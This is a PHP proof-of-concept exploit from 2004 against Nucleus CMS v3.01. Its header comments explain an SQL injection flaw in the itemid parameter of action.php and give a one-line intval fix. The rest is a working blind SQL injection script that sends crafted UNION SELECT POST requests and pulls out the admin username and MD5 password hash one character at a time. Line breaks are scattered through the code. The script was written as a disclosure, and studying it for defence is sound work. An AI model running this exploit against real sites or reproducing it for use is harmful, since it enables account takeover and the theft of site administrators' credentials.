#!/usr/bin/php

<?


// Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept
// By aCiDBiTS           acidbits@hotmail.com           24-July-2004
//
// Nucleus CMS (http://nucleuscms.org) is a weblog php+mysql application.
//
// This Proof of Concept dumps the username and MD5(password) of the admin
user placed at first position
// of members table. First of all checks if we can use "union select" or it
isn't patched and then if first 
// member is admin.
//
// Usage (in my debian box):
// php4 -q nuc_addc_poc.php URL


// Vulnerability description
// 
// In action.php, function addcoment, there's no user input sanization for
parameter itemid. In line 65:
// $blogid = getBlogIDFromItemID($post['itemid']);
// This allows to inject SQL to get data form the database.
//
// Solution
//
// Modify line 65 with:
// $blogid = getBlogIDFromItemID(intval($post['itemid'])); 



      
echo
"+-------------------------------------------------------------------+\n|
Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept |\n| By
aCiDBiTS           acidbits@hotmail.com           24-July-2004
|\n+-------------------------------------------------------------------+\n\n
";

if($argc<2)  die("Usage: ".$argv[0]." URL\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "Checking if vulnerable and \"union select\" works ... ";
if( test_cond("1") && !test_cond("0") )  echo "OK!\n";
else die( "It doesn't :-(\n\n" );

echo "Checking if first member of table is admin ... ";
if( test_cond("1") )  echo "OK!\n";
else die( "It's not :-(\n\n" );

echo "\nGetting username: ";
get_field("mname");
echo "\nGetting MD5(password): ";
get_field("mpassword");

die("\n\nDone!\n\n");


function get_field( $field )
{
  $unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  $idx=1;
  $min=0;
  $max=strlen($unval);
  while($min!=$max) {
    $mid=$min+(($max-$min)/2);
    if(
test_cond("ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1))) ) {
      $idx++; 
      echo substr($unval,$mid,1);
      $min=0;
      $max=strlen($unval);
      if( !test_cond("ord(substring($field,$idx,1))") )
return;
    } else {
      if(
test_cond("ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1))) )
$max=$mid;
      else $min=$mid;
    }
  }
  die( "\n\nUnexpected error!\n\n");
}


function test_cond( $cond )
{
  
$res=send_post("action=addcomment&url=index.php%3Fitemid%3D1&itemid=1+and+0+
union+select+1+from+nucleus_member+where+madmin+and+mnumber=1+and+".urlencod
e($cond)."&body=a&user=a&userid=");
    if( eregi( "nucleus_ban", $res ) )
    return 0;
  else return 1;
}

function send_post($data)
{
  global $host;
  $ch=curl_init(); 
  curl_setopt ($ch, CURLOPT_URL, $host."action.php" );
  curl_setopt ($ch, CURLOPT_HEADER, 0);
  curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
  curl_setopt ($ch, CURLOPT_POST, 1);
  curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
  $data=curl_exec ($ch);
  curl_close ($ch);

  return $data;
}

?>